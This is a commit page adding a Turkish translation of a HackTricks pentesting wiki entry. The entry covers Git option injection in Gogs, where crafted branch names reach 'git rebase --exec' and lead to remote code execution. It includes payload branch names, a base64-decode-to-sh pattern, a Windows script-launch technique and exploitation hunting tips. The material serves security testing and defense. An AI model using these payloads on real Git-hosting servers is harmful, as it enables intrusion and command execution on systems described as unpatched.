mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Translated ['src/pentesting-ci-cd/gogs-security/README.md'] to tr
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
# Gogs Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gogs nedir
|
||||
|
||||
**Gogs**, Go ile yazılmış **self-hosted hafif bir Git service**'tir. Saldırgan bakış açısından, onu düşük yetkili bir kullanıcının yine de branch isimlerini, pull request'leri, webhooks'ları, token'ları ve repository ayarlarını kontrol edebildiği bir **multi-tenant Git hosting platformu** olarak değerlendirin.
|
||||
|
||||
## refs / branch isimleri üzerinden Git option injection
|
||||
|
||||
Eğer bir application saldırgan kontrollü bir **ref name**'i doğrudan bir Git command'ine **`--` veya `--end-of-options` olmadan** geçiriyorsa, `--` ile başlayan bir branch **data** yerine bir **Git option** olarak parse edilebilir.
|
||||
|
||||
Tipik tehlikeli pattern:
|
||||
```bash
|
||||
git <subcommand> <user-controlled-ref>
|
||||
```
|
||||
Defansif kodda beklenen daha güvenli desen:
|
||||
```bash
|
||||
git <subcommand> -- <user-controlled-ref>
|
||||
# or
|
||||
git <subcommand> --end-of-options <user-controlled-ref>
|
||||
```
|
||||
Yaygın bir yanlış varsayım, ref’i `git rev-parse --verify <ref>` ile doğrulamanın yeterli olduğudur. Bu **değildir**:
|
||||
|
||||
- saldırgan önce adı `--` ile başlayan gerçek bir branch **oluşturabilir**
|
||||
- `rev-parse --verify` yalnızca ref’in bir object’e çözümlenip çözülmediğini kontrol eder
|
||||
- daha sonraki güvensiz bir Git çağrısı aynı değeri hâlâ bir **option** olarak parse edebilir
|
||||
|
||||
Bu, depolanmış branch isimlerini yeniden kullanan herhangi bir Git-hosting özelliğini potansiyel bir RCE primitive’ine dönüştürür.
|
||||
|
||||
## `git rebase --exec` ile RCE’ye istismar
|
||||
|
||||
`git rebase`, commits yeniden oynatıldıktan sonra komutu `sh -c` üzerinden çalıştıran `--exec=<cmd>` desteğine sahiptir. Bu nedenle, bir pull request’in base branch’i aşağıdakine benzer bir çağrıya ulaşırsa:
|
||||
```bash
|
||||
git rebase --quiet <baseBranch> <headBranch>
|
||||
```
|
||||
ve `<baseBranch>` saldırgan kontrolündeyse, şu gibi bir branch:
|
||||
```bash
|
||||
--exec=touch${IFS}/tmp/rce_proof
|
||||
```
|
||||
bir **Git flag** olarak yorumlanabilir, branch adı yerine.
|
||||
|
||||
### Why `${IFS}` matters
|
||||
|
||||
Git refs literal spaces içeremez, ancak shell expansion yine de `--exec` komutu `sh -c` üzerinden çalıştırıldığında gerçekleşir. `${IFS}` çalışma zamanında whitespace olarak genişler, bu da şu gibi payload'lara izin verir:
|
||||
```bash
|
||||
--exec=touch${IFS}/tmp/rce_proof
|
||||
--exec=id${IFS}>/tmp/out
|
||||
```
|
||||
Git tarafından yasaklanan karakterler (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`) gerektiren payload’lar için, gerçek komutu encode edin ve çalıştırma zamanında decode edin:
|
||||
```bash
|
||||
--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh
|
||||
```
|
||||
## Windows-specific payload delivery
|
||||
|
||||
Windows üzerinde, inline payloads daha kısıtlıdır çünkü Git branch refs’i dosya olarak saklar ve NTFS, dosya adlarında `|` gibi karakterleri yasaklar. Pratik bir alternatif şudur:
|
||||
|
||||
1. Repository içine bir payload script commit edin (örneğin `.abcdef`)
|
||||
2. Şu şekilde bir branch oluşturun:
|
||||
```bash
|
||||
--exec=sh${IFS}.abcdef
|
||||
```
|
||||
Git for Windows payload’u **MSYS2 `sh`** üzerinden başlatırsa, PowerShell metakarakterleri bozulabilir. Pratik bir geçici çözüm, commit edilen script’in şunu çağırmasına izin vermektir:
|
||||
```bash
|
||||
cmd.exe //c .abcdef.bat
|
||||
```
|
||||
where `//c` is the MSYS2-safe form of Windows `/c`.
|
||||
|
||||
## Merge / PR state-machine abuse
|
||||
|
||||
Git-hosting platformlarını test ederken, sadece nihai tehlikeli komutu incelemeyin. Ayrıca **daha önceki validation yollarını** ve **background rechecks** de inceleyin.
|
||||
|
||||
Faydalı bir exploitation pattern şudur:
|
||||
|
||||
1. İlk validation path, `--end-of-options` ile **safe** bir clone/fetch flow kullanır, böylece malicious branch veri olarak kabul edilir
|
||||
2. Pull request **mergeable** olur
|
||||
3. Daha sonraki bir merge veya checkout path, saklanan branch adını **unsafe** bir Git call içinde yeniden kullanır
|
||||
4. UI **HTTP 500** döndürse bile, sonraki bir adım başarısız olsa da code execution gerçekleşir
|
||||
|
||||
Bu, bir feature'ın nihai merge hata verse bile exploitable olabileceği ve target repository'nin payload zaten çalıştıktan sonra **corrupted partial rebase state** içinde bırakılabileceği anlamına gelir.
|
||||
|
||||
## Practical hunting ideas
|
||||
|
||||
Bir Gogs instance veya benzer bir Git service incelerken şunları kontrol edin:
|
||||
|
||||
- `--` ile başlayan branch names
|
||||
- `git checkout '--exec=...'` içeren merge failures
|
||||
- Daha sonraki branch validation başarısız olsa bile mergeable olarak takılı kalan pull requests
|
||||
- Failed merges sonrası partial rebase / broken Git state içinde bırakılan repositories
|
||||
- Windows payload path'lerinde beklenmedik committed helper files (örneğin dotfiles artı `.bat` launchers)
|
||||
- Failed PR merges'ten hemen önce oluşturulmuş şüpheli API tokens
|
||||
|
||||
Örnek log artifact:
|
||||
```text
|
||||
merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [Rapid7 - Gogs'ta Argument Injection yoluyla Authenticated RCE (NOT FIXED)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed)
|
||||
- [Gogs rebase argument injection için Metasploit module PR](https://github.com/rapid7/metasploit-framework/pull/21515)
|
||||
- [Git rebase dokümantasyonu (`--exec`)](https://git-scm.com/docs/git-rebase)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user